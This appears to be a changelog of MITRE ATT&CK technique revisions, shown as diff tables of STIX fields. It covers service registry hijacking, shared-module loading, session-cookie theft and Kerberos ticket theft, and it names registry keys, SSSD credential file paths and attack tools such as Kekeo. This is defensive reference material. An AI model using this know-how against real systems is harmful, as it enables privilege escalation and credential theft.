| > | execute, allowing the adversary to gain persistence and/or p | > | rts or is restarted, then the adversary-controlled program w | ||
| > | rivilege escalation to the account context the service is se | > | ill execute, allowing the adversary to establish persistence | ||
| > | t to execute under (local/domain account, SYSTEM, LocalServi | > | and/or privilege escalation to the account context the serv | ||
| > | ce, or NetworkService). Adversaries may also alter Registry | > | ice is set to execute under (local/domain account, SYSTEM, L | ||
| > | keys associated with service failure parameters (such as <c | > | ocalService, or NetworkService). Adversaries may also alter | ||
| > | ode>FailureCommand</code>) that may be executed in an elevat | > | other Registry keys in the service’s Registry tree. For exa | ||
| > | ed context anytime the service fails or is intentionally cor | > | mple, the <code>FailureCommand</code> key may be changed so | ||
| > | rupted.(Citation: Kansa Service related collectors)(Citation | > | that the service is executed in an elevated context anytime | ||
| > | : Tweet Registry Perms Weakness) | > | the service fails or is intentionally corrupted.(Citation: K | ||
| > | ansa Service related collectors)(Citation: Tweet Registry Pe | ||||
| > | rms Weakness) The <code>Performance</code> key contains the | ||||
| > | name of a driver service's performance DLL and the names of | ||||
| > | several exported functions in the DLL.(Citation: microsoft_ | ||||
| > | services_registry_tree) If the <code>Performance</code> key | ||||
| > | is not already present and if an adversary-controlled user h | ||||
| > | as the <code>Create Subkey</code> permission, adversaries ma | ||||
| > | y create the <code>Performance</code> key in the service’s R | ||||
| > | egistry tree to point to a malicious DLL.(Citation: insecure | ||||
| > | _reg_perms) Adversaries may also add the <code>Parameters</ | ||||
| > | code> key, which stores driver-specific data, or other custo | ||||
| > | m subkeys for their malicious services to establish persiste | ||||
| > | nce or enable other malicious activities.(Citation: microsof | ||||
| > | t_services_registry_tree)(Citation: troj_zegost) Additionall | ||||
| > | y, If adversaries launch their malicious services using svch | ||||
| > | ost.exe, the service’s file may be identified using <code>HK | ||||
| > | EY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicena | ||||
| > | me\Parameters\ServiceDll</code>.(Citation: malware_hides_ser | ||||
| > | vice) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:07:48.590000+00:00 | 2021-10-14 23:52:52.058000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security)
If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
Adversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) | Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)
If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)
The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)
Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll.(Citation: malware_hides_service) |
| external_references[3]['source_name'] | Kansa Service related collectors | malware_hides_service |
| external_references[3]['description'] | Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019. | Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021. |
| external_references[3]['url'] | https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html | https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/ |
| external_references[4]['source_name'] | Tweet Registry Perms Weakness | Kansa Service related collectors |
| external_references[4]['description'] | @r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018. | Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019. |
| external_references[4]['url'] | https://twitter.com/r0wdy_/status/936365549553991680 | https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html |
| external_references[5]['source_name'] | Autoruns for Windows | Tweet Registry Perms Weakness |
| external_references[5]['description'] | Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020. | @r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018. |
| external_references[5]['url'] | https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns | https://twitter.com/r0wdy_/status/936365549553991680 |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'microsoft_services_registry_tree', 'description': 'Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree'} | |
| external_references | {'source_name': 'insecure_reg_perms', 'description': 'Clément Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021.', 'url': 'https://itm4n.github.io/windows-registry-rpceptmapper-eop/'} | |
| external_references | {'source_name': 'troj_zegost', 'description': 'Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.', 'url': 'https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost'} | |
| external_references | {'source_name': 'Autoruns for Windows', 'description': 'Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.', 'url': 'https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns'} |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse shared modules to execute malicious pa | t | 1 | Adversaries may execute malicious payloads via loading share |
| > | yloads. The Windows module loader can be instructed to load | > | d modules. The Windows module loader can be instructed to lo | ||
| > | DLLs from arbitrary local paths and arbitrary Universal Nami | > | ad DLLs from arbitrary local paths and arbitrary Universal N | ||
| > | ng Convention (UNC) network paths. This functionality reside | > | aming Convention (UNC) network paths. This functionality res | ||
| > | s in NTDLL.dll and is part of the Windows [Native API](https | > | ides in NTDLL.dll and is part of the Windows [Native API](ht | ||
| > | ://attack.mitre.org/techniques/T1106) which is called from f | > | tps://attack.mitre.org/techniques/T1106) which is called fro | ||
| > | unctions like <code>CreateProcess</code>, <code>LoadLibrary< | > | m functions like <code>CreateProcess</code>, <code>LoadLibra | ||
| > | /code>, etc. of the Win32 API. (Citation: Wikipedia Windows | > | ry</code>, etc. of the Win32 API. (Citation: Wikipedia Windo | ||
| > | Library Files) The module loader can load DLLs: * via spec | > | ws Library Files) The module loader can load DLLs: * via s | ||
| > | ification of the (fully-qualified or relative) DLL pathname | > | pecification of the (fully-qualified or relative) DLL pathna | ||
| > | in the IMPORT directory; * via EXPORT forwarded to anot | > | me in the IMPORT directory; * via EXPORT forwarded to a | ||
| > | her DLL, specified with (fully-qualified or relative) pathna | > | nother DLL, specified with (fully-qualified or relative) pat | ||
| > | me (but without extension); * via an NTFS junction or s | > | hname (but without extension); * via an NTFS junction o | ||
| > | ymlink program.exe.local with the fully-qualified or relativ | > | r symlink program.exe.local with the fully-qualified or rela | ||
| > | e pathname of a directory containing the DLLs specified in t | > | tive pathname of a directory containing the DLLs specified i | ||
| > | he IMPORT directory or forwarded EXPORTs; * via <code>& | > | n the IMPORT directory or forwarded EXPORTs; * via <cod | ||
| > | #x3c;file name="filename.extension" loadFrom="fully-qualifie | > | e><file name="filename.extension" loadFrom="fully-quali | ||
| > | d or relative pathname"></code> in an embedded or exter | > | fied or relative pathname"></code> in an embedded or ex | ||
| > | nal "application manifest". The file name refers to an entry | > | ternal "application manifest". The file name refers to an en | ||
| > | in the IMPORT directory or a forwarded EXPORT. Adversaries | > | try in the IMPORT directory or a forwarded EXPORT. Adversar | ||
| > | may use this functionality as a way to execute arbitrary co | > | ies may use this functionality as a way to execute arbitrary | ||
| > | de on a victim system. For example, malware may execute shar | > | payloads on a victim system. For example, malware may execu | ||
| > | e modules to load additional components or features. | > | te share modules to load additional components or features. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 18:14:36.980000+00:00 | 2021-10-15 13:48:02.963000+00:00 |
| description | Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)
The module loader can load DLLs:
* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;
* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);
* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;
* via <file name="filename.extension" loadFrom="fully-qualified or relative pathname"> in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.
Adversaries may use this functionality as a way to execute arbitrary code on a victim system. For example, malware may execute share modules to load additional components or features. | Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)
The module loader can load DLLs:
* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;
* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);
* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;
* via <file name="filename.extension" loadFrom="fully-qualified or relative pathname"> in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.
Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features. |
| x_mitre_version | 2.0 | 2.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Persona: Social Media', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:10:35.708000+00:00 | 2021-10-16 17:37:34.563000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Persona: Social Media', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 02:59:06.872000+00:00 | 2021-10-16 17:15:12.169000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:23:57.876000+00:00 | 2021-10-17 16:33:19.596000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-05 20:05:41.548000+00:00 | 2021-10-15 13:56:47.154000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Content |
Current version: 2.2
Version changed from: 2.1 → 2.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-01 16:21:17.553000+00:00 | 2021-10-18 17:39:12.452000+00:00 |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Creation |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-27 19:01:22.653000+00:00 | 2021-10-17 16:28:41.815000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors. | If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors. |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may steal web application or service session co | t | 1 | An adversary may steal web application or service session co |
| > | okies and use them to gain access to web applications or Int | > | okies and use them to gain access to web applications or Int | ||
| > | ernet services as an authenticated user without needing cred | > | ernet services as an authenticated user without needing cred | ||
| > | entials. Web applications and services often use session coo | > | entials. Web applications and services often use session coo | ||
| > | kies as an authentication token after a user has authenticat | > | kies as an authentication token after a user has authenticat | ||
| > | ed to a website. Cookies are often valid for an extended pe | > | ed to a website. Cookies are often valid for an extended pe | ||
| > | riod of time, even if the web application is not actively us | > | riod of time, even if the web application is not actively us | ||
| > | ed. Cookies can be found on disk, in the process memory of t | > | ed. Cookies can be found on disk, in the process memory of t | ||
| > | he browser, and in network traffic to remote systems. Additi | > | he browser, and in network traffic to remote systems. Additi | ||
| > | onally, other applications on the targets machine might stor | > | onally, other applications on the targets machine might stor | ||
| > | e sensitive authentication cookies in memory (e.g. apps whic | > | e sensitive authentication cookies in memory (e.g. apps whic | ||
| > | h authenticate to cloud services). Session cookies can be us | > | h authenticate to cloud services). Session cookies can be us | ||
| > | ed to bypasses some multi-factor authentication protocols.(C | > | ed to bypasses some multi-factor authentication protocols.(C | ||
| > | itation: Pass The Cookie) There are several examples of mal | > | itation: Pass The Cookie) There are several examples of mal | ||
| > | ware targeting cookies from web browsers on the local system | > | ware targeting cookies from web browsers on the local system | ||
| > | .(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 | > | .(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 | ||
| > | Mac Crypto Cookies January 2019) There are also open source | > | Mac Crypto Cookies January 2019) There are also open source | ||
| > | frameworks such as Evilginx 2 and Muraena that can gather s | > | frameworks such as Evilginx 2 and Muraena that can gather s | ||
| > | ession cookies through a man-in-the-middle proxy that can be | > | ession cookies through a malicious proxy (ex: [Adversary-in- | ||
| > | set up by an adversary and used in phishing campaigns.(Cita | > | the-Middle](https://attack.mitre.org/techniques/T1557)) that | ||
| > | tion: Github evilginx2)(Citation: GitHub Mauraena) After an | > | can be set up by an adversary and used in phishing campaign | ||
| > | adversary acquires a valid cookie, they can then perform a | > | s.(Citation: Github evilginx2)(Citation: GitHub Mauraena) A | ||
| > | [Web Session Cookie](https://attack.mitre.org/techniques/T15 | > | fter an adversary acquires a valid cookie, they can then per | ||
| > | 50/004) technique to login to the corresponding web applicat | > | form a [Web Session Cookie](https://attack.mitre.org/techniq | ||
| > | ion. | > | ues/T1550/004) technique to login to the corresponding web a | ||
| > | pplication. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-14 17:57:07.903000+00:00 | 2021-07-28 01:26:51.971000+00:00 |
| description | An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie) There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena) After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application. | An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie) There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena) After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application. |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to subvert Kerberos authentication b | t | 1 | Adversaries may attempt to subvert Kerberos authentication b |
| > | y stealing or forging Kerberos tickets to enable [Pass the T | > | y stealing or forging Kerberos tickets to enable [Pass the T | ||
| > | icket](https://attack.mitre.org/techniques/T1550/003). Ker | > | icket](https://attack.mitre.org/techniques/T1550/003). Kerbe | ||
| > | beros is an authentication protocol widely used in modern Wi | > | ros is an authentication protocol widely used in modern Wind | ||
| > | ndows domain environments. In Kerberos environments, referre | > | ows domain environments. In Kerberos environments, referred | ||
| > | d to as “realms”, there are three basic participants: client | > | to as “realms”, there are three basic participants: client, | ||
| > | , service, and Key Distribution Center (KDC).(Citation: ADSe | > | service, and Key Distribution Center (KDC).(Citation: ADSecu | ||
| > | curity Kerberos Ring Decoder) Clients request access to a se | > | rity Kerberos Ring Decoder) Clients request access to a serv | ||
| > | rvice and through the exchange of Kerberos tickets, originat | > | ice and through the exchange of Kerberos tickets, originatin | ||
| > | ing from KDC, they are granted access after having successfu | > | g from KDC, they are granted access after having successfull | ||
| > | lly authenticated. The KDC is responsible for both authentic | > | y authenticated. The KDC is responsible for both authenticat | ||
| > | ation and ticket granting. Attackers may attempt to abuse K | > | ion and ticket granting. Attackers may attempt to abuse Ker | ||
| > | erberos by stealing tickets or forging tickets to enable una | > | beros by stealing tickets or forging tickets to enable unaut | ||
| > | uthorized access. | > | horized access. On Windows, the built-in <code>klist</code> | ||
| > | utility can be used to list and analyze cached Kerberos tic | ||||
| > | kets.(Citation: Microsoft Klist) Linux systems on Active Di | ||||
| > | rectory domains store Kerberos credentials locally in the cr | ||||
| > | edential cache file referred to as the "ccache". The credent | ||||
| > | ials are stored in the ccache file while they remain valid a | ||||
| > | nd generally while a user's session lasts.(Citation: MIT cca | ||||
| > | che) On modern Redhat Enterprise Linux systems, and derivati | ||||
| > | ve distributions, the System Security Services Daemon (SSSD) | ||||
| > | handles Kerberos tickets. By default SSSD maintains a copy | ||||
| > | of the ticket database that can be found in <code>/var/lib/s | ||||
| > | ss/secrets/secrets.ldb</code> as well as the corresponding k | ||||
| > | ey located in <code>/var/lib/sss/secrets/.secrets.mkey</code | ||||
| > | >. Both files require root access to read. If an adversary i | ||||
| > | s able to access the database and key, the credential cache | ||||
| > | Kerberos blob can be extracted and converted into a usable K | ||||
| > | erberos ccache file that adversaries may use for [Pass the T | ||||
| > | icket](https://attack.mitre.org/techniques/T1550/003). The c | ||||
| > | cache file may also be converted into a Windows format using | ||||
| > | tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Cita | ||||
| > | tion: Brining MimiKatz to Unix)(Citation: Kekeo) Kerberos | ||||
| > | tickets on macOS are stored in a standard ccache format, sim | ||||
| > | ilar to Linux. By default, access to these ccache entries is | ||||
| > | federated through the KCM daemon process via the Mach RPC p | ||||
| > | rotocol, which uses the caller's environment to determine ac | ||||
| > | cess. The storage location for these ccache entries is influ | ||||
| > | enced by the <code>/etc/krb5.conf</code> configuration file | ||||
| > | and the <code>KRB5CCNAME</code> environment variable which c | ||||
| > | an specify to save them to disk or keep them protected via t | ||||
| > | he KCM daemon. Users can interact with ticket storage using | ||||
| > | <code>kinit</code>, <code>klist</code>, <code>ktutil</code>, | ||||
| > | and <code>kcc</code> built-in binaries or via Apple's nativ | ||||
| > | e Kerberos framework. Adversaries can use open source tools | ||||
| > | to interact with the ccache files directly or to use the Ker | ||||
| > | beros framework to call lower-level APIs for extracting the | ||||
| > | user's TGT or Service Tickets.(Citation: SpectorOps Bifrost | ||||
| > | Kerberos macOS 2019)(Citation: macOS kerberos framework MIT) | ||||
| > | |||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Tim (Wadhwa-)Brown', 'Cody Thomas, SpecterOps'] | |
| x_mitre_permissions_required | ['User', 'root'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-11-05 16:07:04.189000+00:00 | 2021-10-14 22:56:22.054000+00:00 |
| description | Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access. | Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.
On Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)
Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the "ccache". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)
Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)
|
| external_references[3]['source_name'] | ADSecurity Detecting Forged Tickets | Microsoft Klist |
| external_references[3]['description'] | Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015. | Microsoft. (2021, March 3). klist. Retrieved October 14, 2021. |
| external_references[3]['url'] | https://adsecurity.org/?p=1515 | https://docs.microsoft.com/windows-server/administration/windows-commands/klist |
| external_references[4]['source_name'] | Stealthbits Detect PtT 2019 | MIT ccache |
| external_references[4]['description'] | Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020. | Massachusetts Institute of Technology. (n.d.). MIT Kerberos Documentation: Credential Cache. Retrieved October 4, 2021. |
| external_references[4]['url'] | https://blog.stealthbits.com/detect-pass-the-ticket-attacks | https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html |
| external_references[5]['source_name'] | CERT-EU Golden Ticket Protection | Linux Kerberos Tickets |
| external_references[5]['description'] | Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017. | Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021. |
| external_references[5]['url'] | https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf | https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html |
| external_references[6]['source_name'] | Microsoft Kerberos Golden Ticket | Brining MimiKatz to Unix |
| external_references[6]['description'] | Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020. | Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021. |
| external_references[6]['url'] | https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285 | https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf |
| external_references[7]['source_name'] | Microsoft Detecting Kerberoasting Feb 2018 | Kekeo |
| external_references[7]['description'] | Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018. | Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021. |
| external_references[7]['url'] | https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/ | https://github.com/gentilkiwi/kekeo |
| external_references[8]['source_name'] | AdSecurity Cracking Kerberos Dec 2015 | SpectorOps Bifrost Kerberos macOS 2019 |
| external_references[8]['description'] | Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018. | Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021. |
| external_references[8]['url'] | https://adsecurity.org/?p=2293 | https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f |
| external_references[9]['source_name'] | Medium Detecting Attempts to Steal Passwords from Memory | macOS kerberos framework MIT |
